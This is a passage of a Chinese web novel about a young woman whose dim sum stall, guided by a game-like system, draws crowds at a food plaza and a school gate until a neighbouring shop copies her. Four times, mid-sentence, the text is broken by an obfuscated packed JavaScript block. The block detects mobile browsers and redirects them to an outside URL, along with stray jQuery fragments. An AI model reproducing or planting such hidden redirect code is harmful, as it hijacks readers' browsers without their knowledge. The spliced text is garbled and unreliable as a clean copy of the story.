;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492851|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“唉,要不还是吃烤鸡扒算了……”
“好饿啊,我现在看到什么都想吃。”
为首的姚晓彤顿时觉得压力山大,正想稳定军心,就见到巷子口那聚集了好几个学生,不知道在吃些什么。
她再一眯眼,见那些人手里都拿着竹签,心中一激灵,立马说,“你们等等,那老板好像是换了个位置!”
几人一路快走来到巷子口,嘉嘉见到熟悉的小摊,脚步也欢快了许多,剩下的几人也都乐了起来,叽叽喳喳地讨论着要吃什么口味。
姚晓彤来得勤快,夏咏恩对她有几分脸熟,又看她这回带了几个同学过来,便挑了一块馅料最多的芒果钵仔糕给她。
不用说,姚晓彤的双眼已经迸发出激动的光芒。因为下雨,她本想带回家吃,可眼见着其他学生都吃了起来,她也忍不住诱惑,拿出椰汁千层糕吃了起来。
于是,文具店门口又多了五个站着的人。
这下不用仔细看,只要一出校门,就能看到巷子口那聚集了一大堆人。又因为打着伞,远看着也不知道发生了什么,就更想要上前看个究竟。
很快,夏咏恩的小摊前又排起了长队。甚至还有一些学生,排到了跟前才知道这卖的是什么。
而原本在逗猫的冯姐,自然也忙碌了起来。她不禁感叹,这姑娘可真是自己的财神啊!
不过今日小摊的生意,难免还是受到了下雨的影响。
晚上六点,学校里的学生已经不多了,而距离完成任务,还剩下二十份椰汁千层糕。
夏咏恩做好了最坏的打算,要是实在卖不掉,就去地铁站前摆摊,再不济去美食广场附近蹭一下人流量也行。
过了十分钟后,赵一平带着饥饿从学校走了出来。
下午他急着批改卷子,便一直在忙,等所有工作做完,已经是六点多了。本想着赶紧回家吃饭,可实在饿得不行了,便想着去附近的便利店找点东西垫垫肚子。
刚走进巷子,便看见文具店门前的小摊,卖的是钵仔糕和椰汁千层糕。
他顿时想起来,这估计就是那个姚晓彤说过的小摊。
看起来……倒是还挺干净的。
只是他对这些东西实在是没有什么兴趣,毕竟这又不像白切鸡、烧鹅那样,一想起来就能令人回味无穷,而且做法也很简单,压根做不出什么花样。
说来说去,不过是一块普普通通的糕点而已。
夏咏恩留意到他,立马就笑着招呼,“帅哥,要来一个钵仔糕吗?我们还有椰汁千层糕,都是手工现做的,可好吃了!”
原本想要离开的赵一平,顿住了脚步,不由自主地朝着夏咏恩走了过去。
见夏咏恩十分热情,他也不好意思拒绝,一看价格,最贵的钵仔糕也只是三块五而已。再说这些糕点卖相都很好,份量也都挺大的。
他摸了摸隐隐作痛的胃,当下就扫了码,两样糕点都各来了一份。
唉,算了,就随便吃点,暂时填一下肚子就行了,就算是不好吃,那也认了!
8. 白糖糕与马拉糕
李敏瑶回到家,就见桌上放了一大袋钵仔糕和椰汁千层糕。赵一平兴高采烈地打开袋子,“你看我买了什么!”
她一愣,“你在你们学校外面买的?”
“我跟你说,这个钵仔糕真的可好吃了,要不是想着留给你,我一个人都能吃完。”
见赵一平眉飞色舞,李敏瑶不禁摇了摇头,“算了吧,再好吃能有我上回买的那个好吃?”
原本她对钵仔糕其实没什么执念,只不过那家做的实在太好吃了,如今越是吃不到就越是想念。因此,其他人卖的钵仔糕,她真是一点兴趣都没有。
赵一平坚持说,“你信我,我买的这个真的特别好吃,绝对不比你那个差!”
刚刚在学校门口,他只不过是抱着填饱肚子的心态试试而已,没想到一吃就完全停不下来了。
李敏瑶还是提不起什么兴趣,赵一平干脆说,“那你尝尝这个吧,这个椰汁千层糕也特别好吃。”
见赵一平如此坚持,李敏瑶只好打开了一盒斑斓味的椰汁千层糕,叉了一小块塞进口中。
下一刻,她的脸上浮现出惊讶之色,“哇,这千层糕好有弹性,吃起来好嫩啊!”
简直就像一块嫩豆腐一样,稍微用竹签一戳,就轻轻地抖动几下,而且外表是极为治愈的绿白线条,不仅口感好,卖相也好看。
最重要的是,这个斑斓味太好吃了,和椰汁配在一起特别清凉,完全不会像一些斑斓制品一样有一股奇怪的青草味。
并且吃完之后,嘴巴里没有黏糊糊的胶感,反而特别清爽。
赵一平笑着说,“是不是特别好吃!我跟你说,我当时立马就回头买了两盒回来。”
李敏瑶的心情顿时就好了起来,连忙拿起赵一平买的钵仔糕品尝。
有了椰汁千层糕在前,她对这个钵仔糕的期待感也提高了许多。
刚吃一口,她就震惊了。
这味道、这口感……这才是好吃的钵仔糕啊!
而且越吃越觉得,怎么那么熟悉啊!
她心里头冒出一个想法,赶紧抓着赵一平问,“你在哪里买的啊?老板长什么样子?”
他仔仔细细将学校门前那个小摊的情况说了一遍,李敏瑶心里惊喜不已,“是了,是了,应该就是她了!”
这么好吃的钵仔糕,自己绝对不会认错。
这下,她忍不住说起了赵一平,“你说你要是早一点买回来,我也不至于寻觅了这么多天!”
赵一平撇了撇嘴,他也没想到啊,就一个小摊上卖的东西,居然能这么好吃。
明天是周六,李敏瑶打算去美食广场看看那老板在不在。
她打开食客群,“好消息!我终于找到那个老板了!”
“老板前几天在花城铁路第三中学那里摆摊,明天不知道会不会回美食广场。”
过了一会,群里陆陆续续就有人回复了,好些人都说明天经过美食广场要去看看。
而另一边的夏咏恩,正在走回荣兴楼的路上。
那个中学老师走后,她又卖出去好一些,最后剩下两个钵仔糕,被冯姐给包圆了。
经过几天的努力,系统的任务终于是完成了。
她打开了系统面板,系统任务已刷新。
【恭喜宿主完成任务!解锁“白糖糕”“马拉糕”配方】
【阶段任务已更新:在下周一前卖出白糖糕和马拉糕各200份】
现在点心图鉴中的钵仔糕和椰汁千层糕的点心等级都到了A,白糖糕和马拉糕的图鉴也已经亮了起来。
白糖糕又叫伦教糕,发源于佛市,糕体白色晶莹剔透,放凉切开后侧边还有漂亮的鱼翅状花纹。
相较于白糖糕,马拉糕则得要热的时候才好吃,热的马拉糕十分松软还带有一点湿润。
若是冷了,糕体则会变韧,要是复蒸加热,水蒸气很容易将糕体泡软,变得非常恶心。
除了马拉糕之外,其他的三样点心都可以提前做好再售卖。为了最大限度地保存马拉糕的风味,夏咏恩决定当场现蒸。
她在荣兴楼的杂物间里翻箱倒柜,终于找出五六个还能用的小蒸笼,以及一辆可移动的点心手推车。手推车内有炉子可以加热,只要把蒸笼叠放上去,就可以蒸出美味的点心。
前几日,她只是稍微收拾了一下方萍阿姨的那间小屋,这几天忙着摆摊,回到茶楼备完第二天的材料便倒头就睡,都没来得及查看其他的地方。
她心中一动,说不准茶楼里还有剩下的食材可以用,这样不就可以省下一点钱了?
经过一番搜索,在茶楼上下共找到腊肠十包、腊鸭五袋、腐竹两袋、梅菜三袋,以及酱油、柱侯酱、鱼露、豆豉、橄榄菜等各种调味料。
最重要的是,她找到了大米、低筋面粉、澄面、生粉、糯米粉、马蹄粉、粘米粉若干袋,通通都是没有开封过的。
夏咏恩如获至宝,连忙把这些有用的东西放到自己住的房间里。她的房间其实就是茶楼的一个包间,里面放了一张折叠行军床,还有一张椅子,一个烧水壶,以及一个电饭锅。
收拾好这一堆宝贝,她决定,今晚给自己改善改善伙食!
在电饭锅中倒入大米,又剪了两条腊肠以及一小块腊鸭进去。饭都还没好,就闻到了一股香喷喷的,专属于腊味的咸鲜味。
等了四十分钟,她迫不及待地掀开锅盖。
腊肠和腊鸭的油脂在蒸煮的过程中已经全部渗进了米饭里,米饭松软得来又微微湿润,空口吃也能吃出非常浓郁的咸香味。
而且因为腊肠和腊鸭自带的甜味,让米饭吃起来更香甜了。
更不用说,鲜香带有嚼劲的腊鸭以及咬一口就爆汁的腊肠,简直是人间美味啊!
夏咏恩吃完了一整锅饭,摸着圆滚滚的肚子来到了厨房,开始准备第二天要用的材料。
次日一早,夏咏恩来到了美食广场。
酱香饼夫妇依旧笑着跟她打了招呼,而烤串大哥看着笑意盈盈的夏咏恩,心头一下子就窜起了火。
这人怎么又来了!
这五天夏咏恩不在,烤串摊的生意变好了不少,可现在这小摊又开张了,自己的烤串还能卖得出去不?
说来,他的烤串本来跟钵仔糕也不存在什么竞争的关系,可偏偏那些被烤串味道勾过来的客人,十有八九都拐去了对面的摊子。
夏咏恩才不知道他心里头的弯弯绕绕,不紧不慢地张罗起了摊子。
因为多了马拉糕这个新的点心,摊位上升起了几道白烟,过了不久,一股甜香就从她的摊位上散了开去。
李敏瑶拉着赵一平走到美食广场,还没走几步就忍不住惊呼,“妈呀,什么东西那么香?”
循着香味,二人来到了一个摊位面前。李敏瑶抬头一看,这不就是自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492852|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己苦苦寻找多日的小摊吗!
夏咏恩一眼就认出了赵一平,这不就是昨天光顾自己的那个老师吗?
又看了一眼李敏瑶,觉得有几分面熟。
李敏瑶开心地说,“我就说怎么会这么香,原来是老板这里传出来的。”
她将自己这几日寻觅美食的事情说了一遍,夏咏恩才知道,竟然有人如此惦记自己的小摊,心里很是高兴。
“白糖糕和马拉糕是我今天新做的,你们要不要尝一尝?”
夏咏恩把白糖糕剪成小块,摆出来放在小碟子里插上牙签,供经过的路人试吃。
方才离得老远,李敏瑶就看到了摊位上摆着的白糖糕,透过切面能看到内里有许多气孔,看着十分诱人。光凭想象,就知道这个白糖糕一定好吃。
果然,白糖糕吃起来外软内韧,里面的糕体带了几分筋道,外面那层富有光泽感的米皮却十分柔软。
而且白糖糕并不是特别甜,吃起来带有一丝米酿的酸味,嚼多几下,就能吃出来一股十分独特的清香。
在炎热的夏天来一块白糖糕,真的是美滋滋啊!
李敏瑶赶紧花六块钱买了三块白糖糕,就这样捧着袋子在摊位旁和赵一平分食起来。
现在对她来说,什么钵仔糕什么椰汁千层糕都靠边站,白糖糕才是她心目中的神。
毕竟,没有人能抵御白糖的诱惑!
她一边吃一边在食客群里发消息,“新情报!老板新出了一个白糖糕,真的太好吃了,而且两块钱就有一大块,超级划算。”
“马上赶来,人多不多啊?”
“哇塞,这个一看就很好吃!我看着都要流口水了……”
“老板是不是周末都在美食广场摆摊?平时在哪里啊?”
美味又好看的白糖糕,很快就吸引了许多行人前来光顾。而在排队的时候,又很难不被蒸笼里冒着热气的马拉糕所吸引。
别说摊位前的行人了,就连远在百米之外的路人都会被马拉糕的香气吸引过来。
因为,马拉糕实在是太香了。
方才李敏瑶在远处闻到的,就是马拉糕那一股带有焦糖香味的浓郁甜香。
夏咏恩特意现蒸马拉糕,不仅是想要保持最佳的食用口感,更是为了吸引路过的行人。
为了能够在第一时间品尝马拉糕,许多人直接就站在摊位前吃了起来。
一些不明所以的路人看见夏咏恩的小摊前站了那么多人,也走过来看看,不知不觉就加入了排队的队伍中。
一眨眼,刚刚蒸好的的马拉糕都售空了,她只得把提前发好的面团放进蒸笼,“这一笼要等十五分钟,大家稍微等等哈。”
等待马拉糕蒸好的过程中,收款的声音依旧响个不停。随着时间的流逝,马拉糕的香味又飘了出来,摊位前排队的人更多了,队伍就直接就排到了烤串摊的门前。
马拉糕的香味越闻越馋,偏偏众人见不到真容,只能见到六个叠在一起的蒸笼,蒸笼上还冒着热气,肚子的馋虫全都被勾起来了。
有几个等不及的路人,干脆在烤串摊上点了一些吃的,烤串大哥见终于来了生意,瞬间干劲满满,飞快地刷着酱料。
但他一边烤着鱿鱼,一边忍不住探头悄悄看对面摊位的动静。
他在这里闻了一个上午,就快要疯了。
这蒸笼里到底有什么啊,怎么能那么香!
9. 烤串大哥的沦陷
等时间到了,夏咏恩将蒸笼掀开,焦糖色的马拉糕在蒸汽中逐渐露出真容,随之而来的,还有一股浓郁的香味。
“哇,这看着真绝了!”
排队的人群里起了些许骚动,还有人拿着手机对着蒸笼在拍照。
烤串大哥这时也不烤鱿鱼了,赶紧探头去瞧对面的动静。
夏咏恩将最顶上的蒸笼拿下来,用刀将马拉糕切成大小均等的四份,每一份的切面都有大小不一的气孔。
远远看着,那马拉糕的糕体十分蓬松,表面还有一层焦糖膜,简直馋死人了!
不过十分钟,刚刚蒸好的马拉糕又全部卖完了,摊位前依旧是长长的队伍。
烤串大哥将烤鱿鱼递给面前的客人,忍不住问一句,“那个马拉糕什么味道?”
客人嘴里正嚼着最后一口马拉糕,“又软又甜又香,要不是人太多了,我都恨不得再去排队买一回。”
烤串大哥不禁咽了咽口水,又看了看对面的摊位,恨不得马上走到队伍末尾排队。
可是,就这么明晃晃地走过去多丢人啊!
到时候所有人都知道自己去买马拉糕了,以后自己还怎么在这一带混啊?
烤串大哥深深地吸了一口气,试图屏住呼吸,以抵抗那股浓郁香气。
然而过了十几秒,他就不得不放弃了这个蠢笨的方法。
那股混合着焦香与甜香的气味,直逼他的鼻尖,简直是越闻越饿。
他就站在摊位后,眼巴巴地看着其他人捧着马拉糕一边走一边啃,直叫他心痒难耐。
可他脚下的步子始终就迈不出去,一直在心中默念:不行,我不能吃,没什么好吃的,就是一个糕点……
就这样,半个小时过去了。
夏咏恩又开始蒸起了马拉糕,烤串大哥闻着那股香味,实在是受不住了。
丢脸就丢脸吧!今天他一定要吃到马拉糕不可!
戴上口罩,烤串大哥快步跑到队伍最末,一边排队一边低着头,试图将自己的存在感降到最低。
夏咏恩数了数剩下的面团,没想到就一个上午的功夫,马拉糕就卖出去了六十多份。现在在蒸的这一批是最后的面团,卖完这二十四份,今天的马拉糕就售罄了。
“后面的不要再排队了,马拉糕没剩下多少了,明天再来吧。”
尽管夏咏恩开口劝说,排队的人是一个都没少,甚至还越来越多了。
得知这个消息的烤串大哥暗道不好,默默数起了人头。
还好还好,前面就十八个人,只要前面的人别一次性买太多份,自己就还能吃上。
等马拉糕蒸好后,他便紧紧盯着前面那些人的动静,要是有谁买多了一份,他就悄悄地瞪那人一眼。
距离他点单还有一个人时,蒸笼里就剩下两个马拉糕了。
他拼命地瞪着最前头的那个大姐,心里祈祷:就买一个,就买一个,求你了!
不知道是不是因为他的瞪人战术奏效了,前头的大姐果真就买了一个,最后一份马拉糕落到了烤串大哥的手中。
他心满意足地笑了起来,赶紧从夏咏恩的手中接过马拉糕。
而他身后的众人,自然都忍不住发出一声哀嚎:“唉,怎么就没有了,老板能不能再做多几个啊?”
“就是啊,老板能不能现做一批呀,不过是时间久一点,我们在这里等也没关系的。”
“老板明天几点摆摊?我早上过来排队。”
听着众人抱怨的声音,烤串大哥捧着最后一份马拉糕,飞快地窜进了自己的烤串小摊后。
马拉糕还冒着热气,摸上去十分松软,简直就像海绵一样,表面那一层皮轻轻按下去后,立马就会回弹。
在吃之前,他先深深地吸了一口气,没错,就是这个香味!太香了!
然而,他还没来得及吃,就被一个年轻小伙子叫住了,“老板,我买一串烤鱿鱼,换你手上的马拉糕行么?”
烤串大哥心里一动,十五块的烤鱿鱼换两块钱的马拉糕,自己纯赚啊!可转念一想,这心心念念的马拉糕,要是给了别人,岂不是要等到明天才能吃上了?
见他摇头,那个年轻小伙子又说,“两串烤鱿鱼,行么?”
烤串大哥咽了咽口水,还是摇了摇头。
“三串,求你了大哥,你就让给我吧!”
经过艰难的抉择,烤串大哥还是将手上的马拉糕递了过去。
就这么眼睁睁地看着那人咬了一大口,随后露出了幸福的笑容。
烤串大哥心中一痛,我的马拉糕!
虽然自己赚了,但怎么感觉那么难受呢?
第二天九点多,夏咏恩来到美食广场。
昨天卖得实在是太快了,所以今天她特意准备了更多的马拉糕和白糖糕,又特意提前过来把马拉糕蒸上。
她刚走到摊位附近,就看见烤串大哥站在摊位前踱步,一副鬼鬼祟祟的模样。
她心里一惊,不知道发生了什么事情,连忙走了上去。
谁承想,烤串大哥一开口就说,“老板,我要六个马拉糕!”
夏咏恩一愣,“那你要等一会,没那么快能蒸好。”
在蒸马拉糕的时候,她的手机响了起来,是李敏瑶发来的绿泡泡,“老板帮我留两个白糖糕,四份马拉糕,还有一盒椰汁千层糕!”
十五分钟后,第一批马拉糕蒸好了。
此时此刻,烤串大哥也顾不上其他了,赶紧咬了一大口。
松软的马拉糕入口很烫,他忍不住倒抽凉气,试图降低嘴巴里的温度。虽然糕体十分松软,但咬下去却有一丝韧性,整体的口感很是特别。
还不用怎么嚼,就吃到了一股黄糖的甜味,再嚼多几口就能吃出鸡蛋的香味,以及一股说不出来的油脂香味。
吃着热腾腾的马拉糕,他实在忍不住冒出一句话:真幸福啊!
而且马拉糕很是顺滑,还带一些微微的湿润,吃完了一整块都不会噎嗓子,更不会糊嘴巴。
不用十秒钟,烤串大哥就吃完了一份马拉糕。
早知道这么好吃,昨天就不让给那个人了!
夏咏恩一边忙活一边跟大哥搭话,才知道昨天有人拿鱿鱼串换他的马拉糕。
烤串大哥一边说一边拍大腿,神色飞舞,“我昨晚回到家,那是越想越后悔啊,一晚上就净想着你家的马拉糕了,这不一大早就过来了。”
夏咏恩忍不住笑起来,“感谢大哥的支持,要不我俩加个绿泡泡吧,以后你要吃的话就跟我说一声,我给你留一块。”
烤串大哥的双眼放出精光,连说了三个好字。
见夏咏恩跟自己小妹年纪相当,就有了一门好手艺,还早起出来摆摊,不由得对她心生佩服,当下就拍着胸脯说,“今天中午我请你吃烤串,鱿鱼大虾随便你挑,你可千万别不好意思。”
夏咏恩倒是也没想到,马拉糕的威力竟然如此之大,只得说了好几声谢,以后得给大哥偷偷多塞几块才好。
一个小时后,摊位前又排起了长队。
她默默给自己打气,今天又是干劲满满的一天啊!
而此时此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492853|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻,距离美食广场五公里外的明心楼内,姚晓彤一家正坐在包厢里喝早茶。
姚爸爸将点单纸递给姚晓彤,“对了,你是不是要吃那个椰汁千层糕来着,给你点一份好不好?”
姚晓彤一边玩手机一边摇头,“这里卖的不好吃啦,我不要。”
姚奶奶开了口,“应该不会吧,明心楼的东西一向都很不错的,要不就尝尝?”
姚晓彤想了想,也点了点头。这家茶楼那么多人,光是排队就排了一个小时,点心一定很好吃才对。
过了半小时,服务员端上了一碟椰汁千层糕。
姚爸爸将碟子推到姚晓彤的面前,“你快尝尝,是不是你想吃的味道。”
她赶紧夹了一块放到碗里,用勺子辅助将椰汁千层糕塞进口中。
姚爷爷问道,“怎么样?好吃吗?”
姚晓彤将勺子放下,勺子上还有大半块椰汁千层糕,“嗯……还行吧。”
要是她没有吃过校门口那个老板做的椰汁千层糕,现在一定会觉得这个非常好吃。
可有了珠玉在前,她就觉得这明心楼做的椰汁千层糕,没有椰奶的自然香味,整体吃起来就有些普通,没有惊艳的感觉。
姚爸爸夹了一块椰汁千层糕吃,嚼了几口就说,“挺好吃的呀,比隔壁那间茶楼做的好吃多了。”
姚晓彤喝了一口茶,说起学校门口那个小摊,“你不知道,那个老板做的可好吃了,这家茶楼做的可差远了。”
听女儿这么一说,姚爸爸却没当回事,一个路边摊卖的东西,能有多好吃?就算没有加什么奇怪的东西,味道口感怎么可能比得上大茶楼的出品。
恐怕还是小孩子贪新鲜罢了,吃多几次估计就厌了。
想到这里,他不免觉得,自己应该要多研究一些新的菜式才行了。
妻子外派国外工作,这几年都是他一人照顾女儿,尽管每天都换着花样做,可小孩子还是很容易吃腻。
最近他就发现,女儿晚上回来都不怎么吃饭了,恐怕还是自己的厨艺不够精湛啊!
而明心楼顶层的办公室内,一个肥硕的男人坐在老板椅上,他面前的秘书说道,“孙老板,中介那边说,荣兴楼不卖了。”
孙跃龙停下了正在抖动的二郎腿,“不卖了?怎么回事?”
“具体的情况不清楚,但荣兴楼那边也没有什么动静。”
孙跃龙冷哼一声,“那就等着吧,我就不信夏咏恩会把荣兴楼留着。”
原本他以为夏咏恩继承了方萍的遗产后会直接一走了之,他就能买下荣兴楼作为明心楼的分店使用。没想到这个夏咏恩居然不按常理出牌,也不知道她脑子里在想什么,居然不赶紧把这个大麻烦脱手。
秘书小心翼翼地说,“万一……夏咏恩想要重开荣兴楼呢?”
孙跃龙被肥肉堆积的脸庞轻轻抽动,“那她真是愧对方萍了!”
方萍供她读了这么多年,她却读书读傻了,重开荣兴楼?天方夜谭!
没有手艺,没有好的师傅,没有资金,就想重开荣兴楼,简直是这个世界上最大的笑话。
要是夏咏恩真要重开荣兴楼,那自己买下荣兴楼的计划,又可以提早实现了,说不准到时候还能以更低的价格购入。
毕竟,连着倒闭两次,这意头这么不好,除了作为方老爷子徒弟的自己,谁还会想要一栋破茶楼?
等秘书离开后,孙跃龙扶着自己的大肚腩站起身来,走到窗边看着屋外的街景。
他倒要看看,夏咏恩一个黄毛丫头,究竟想干什么?
10. 水晶饼
周日下午三点,夏咏恩摊位上的所有东西都售罄了。
收拾好摊位后,她拿着烤串大哥送的烤鱿鱼,回到了荣兴楼。
经过这些天的摆摊,夏咏恩不仅有了三个忠实食客,而且对摆摊做生意也多了几分经验。
她拿起笔算了一下账,上周末两天卖了130份钵仔糕,扣掉两天的租金,收入为255元。
周一,卖了300份钵仔糕,收入为1050元。
周二,卖了327份钵仔糕,收入为1144.5元。
周三,钵仔糕售出205份,椰汁千层糕30份,共收入762.5元。
周四,钵仔糕售出186份,椰汁千层糕153份,共收入880.5元。
周五下雨,钵仔糕售出168份,椰汁千层糕126份,共收入777元。
这周末两天,钵仔糕售出368份,椰汁千层糕524份,白糖糕203份,马拉糕260份,一共收入3010元。
不算成本,摆摊这九天一共收入7879.5元。
算上原材料的钱,再加上水电煤气,在不算自己人工的情况下,最后到手的只有五千多。
尽管这份钱并不算很多,但夏咏恩十分满足,自己这头一回摆摊就能挣到五千多,要是再摆上一个月,岂不是能挣到一万块了。
她一边掰着指头算钱,一边畅想着自己未来的幸福生活。
这些天里,夏咏恩不是在准备食材做点心就是在摆摊,实话说,这些事情上手了之后,对她来说并不是什么难事。
只不过随着点心的增加,她一个人真的有点干不过来了。
还好现在的椰汁千层糕、白糖糕以及马拉糕都是可以做一大份切开售卖,不像钵仔糕那样需要一个个装进钵仔里,所以她还能比较游刃有余。
可也不知道系统之后会解锁什么样的点心,要是工序复杂一些,恐怕就要四五点摸黑起来干活了。
夏咏恩盘算着,忽然听见系统提示音“叮”地一声响了起来:
【恭喜宿主完成任务!解锁“水晶饼”配方】
【特殊任务触发!荣兴楼人才流失严重,请招聘一位店员】
【完成该任务后,将开启茶楼评级的升级任务!】
夏咏恩切回系统面板,现在的茶楼评级是lv.1街边小摊。之前她还想过不知道这茶楼评级要怎么提升,没想到这么快就触发了。
她点开点心图鉴,里面已经新增了水晶饼的制作方法。
水晶饼的做法比较简单,是用澄面做的外皮,里头包着豆沙馅,塞进模具中按压成型,再上锅蒸熟就可以了。
别看这水晶饼做法简单,味道却不一般,不管是大人还是小孩,就没有不爱吃的。
富有嚼劲的外皮,浓郁香甜的豆沙馅,组合在一起简直是必杀技!
夏咏恩记得,以前上中学的时候食堂的早餐有卖水晶饼,她常常都要买上好几个带到教室里慢慢吃。
市面上的水晶饼味道口感都是差不多的,不过有些高档的茶楼,会在模具上下功夫,制作出来的水晶饼上有“福”、“禄”等字样,或者是印一些梅兰竹菊的图案。
而荣兴楼出品的水晶饼,自然会印上一个“荣”字。
和往常一样,夏咏恩在无界空间用空了十点体力。现在她对于制作糕点,已然是轻车熟路,毕竟每天都得对案板上的面团各种捣鼓。
等她尝试自己做出来的水晶饼后,她都被自己的手艺震惊了,这比自己之前吃过的所有水晶饼都要好吃啊!
或许是加了猪油的缘故,里面的豆沙馅吃起来又顺滑又香,咬的时候还能吃到一些红豆的颗粒。
她有感觉,这个水晶饼一定会大受欢迎。
只是现在每天做之前那四种糕点就要花费很久的时间,反正现在系统也没有新的售卖任务了,兼之马拉糕和白糖糕还没有在学生面前亮过相,水晶饼倒是可以往后放一放。
现在对她来说,最重要的就是要招人。
她不想招新手,毕竟现在时间就是金钱,她实在抽不出精力去培训别人。
可要是招一个厉害的老师傅回来,先不说人家肯不肯来,现在茶楼还欠着二十万的债,自己哪来的钱发工资啊?
所以,这个人选就非常重要了。
关于招人的事,夏咏恩还没有什么头绪,但是,摆摊还是要摆的。
周一下午,花城铁路第三中学外的文具店前,排起了长长的一条队伍。
一开始夏咏恩只是想着在下雨天过来文具店这里摆摊,但经过深思熟虑,她决定和文具店老板冯姐达成长期的合作。
毕竟现在自己售卖的东西越来越多,而且马拉糕还是现蒸的,就需要更多的空间与设备了。要是还像之前那样,实在是太不方便了。
再说了,她也不能保证什么时候城管会来,与其整日担惊受怕,还不如找个固定的位置摆摊。
而且现在学生都知道她在文具店这里摆摊了,也不愁生意会受到影响。
就算是以后翻风下雨,也能安安心心出摊。
夏咏恩提出这个请求后,冯姐自然是一口应下,上周五店里的盛况,她可是记得一清二楚的。
自己在学校门口卖文具这么多年,什么时候见过这样的光景?以后啊,她可就指着夏咏恩发财了。
而由于马拉糕和白糖糕的推出,文具店的人比上周五还要多上一倍。
连着三日,夏咏恩的摊位前都排起了长队,连带着文具店的生意也变好了许多。
冯姐的心里是乐开了花啊,连夜就给小肥咪换了国外进口的猫粮,其他的玩具、猫零食那更是自不必说。
现在文具店的生意好了,偶尔碰见隔壁书店老板时,冯姐的腰板也不禁挺直了一些。
往日都是她眼红隔壁书店,现在终于也能让那书店老板尝尝眼红别人的滋味!
说起来,这书店老板跟她还是同乡,以前有几分交情。可在同一个地方做生意,又挨得那么近,自然不是你死就是我活。
因此,二人这些年早就结下了梁子了。
以往么,文具店生意不好,冯姐也不爱跟周围的商户打交道,就一个人在店里撸猫。
现在扬眉吐气了,便常常抱着猫,找张小凳子往店门一坐,瓜子一嗑,随便来个人就能唠嗑半天。
言谈之间,不乏对夏咏恩的钦佩之情。
自然就有好事的人建议冯姐,怎么不找夏咏恩要摊位费,或者干脆就自己卖一模一样的得了,省得让外人赚钱。
冯姐把瓜子壳往地上一吐,“我能是那种眼皮子浅的人?”
她虽然做生意不行,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492854|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
智商还没掉线。夏咏恩做的东西她都吃过,比外面高档茶楼卖的都不差,自己哪里有那个水平,学人家摆摊卖点心?
这话她不应,却被路过的书店老板听进了心里头。
这几日他的营业额不断下滑,那姑娘引来那么多学生,其中有一半都去了隔壁的文具店。
要知道,以往隔壁文具店可是冷冷清清,几乎所有学生都会选择来自己书店。
可现在?再这样下去,这个月的租金都要交不起了!
他双眼一眯,心念一动,快速盘算了起来。那小姑娘能干,自己怎么就不可以?
那些点心能有什么玄机?网上一搜,配方到处都是啊!
再不济,去买那些现成的,回来加工也行啊,反正现在很多茶楼卖的不也是这些现成的么?
那姑娘说什么当天现做,傻子才会信呢!
书店老板盯着文具店门前的柜台,越琢磨越觉得可行,不自觉□□起来。
呵,凭什么就你家赚钱,我家不能!
周四,夏咏恩照旧来到文具店门前,冯姐却着急忙慌地拉着她走到隔壁书店门前。
夏咏恩一抬头才发现隔壁的书店门口,多了一个小餐车。
餐车上挂着牌子:钵仔糕,椰汁千层糕,白糖糕,马拉糕,手工现做。
她瞬间就愣住了,这什么情况?
再一看这价格,好家伙,全都比自己便宜一块啊!
钵仔糕自己卖三块五,隔壁就卖两块五,白糖糕马拉糕统统一块,椰汁千层糕只要五毛!
出摊这么多天,她还是第一次碰上这样的情况。
虽然说自己卖的东西也没有多特别,可隔壁这样子,分明就是按着自己打嘛。
冯姐忍不住骂骂咧咧,“隔壁那个贱货,看着我们生意好就抄袭,哪有这样做人的!”
虽然冯姐很是气愤,可更多的还是担心,隔壁摆明要跟夏咏恩打价格战,要是这样,自己店里的生意岂不是又要黄了?
夏咏恩连忙安抚,“你别急,只要东西好肯定大家都还是会买我们的,隔壁蹦哒不了多久。”
话虽如此,她自然免不了有些担心,只是面对冯姐,她也不好表露太多,便稳了稳心神,照常布置摊位。
等到了放学时间,学生们一窝蜂地从学校里跑出来。
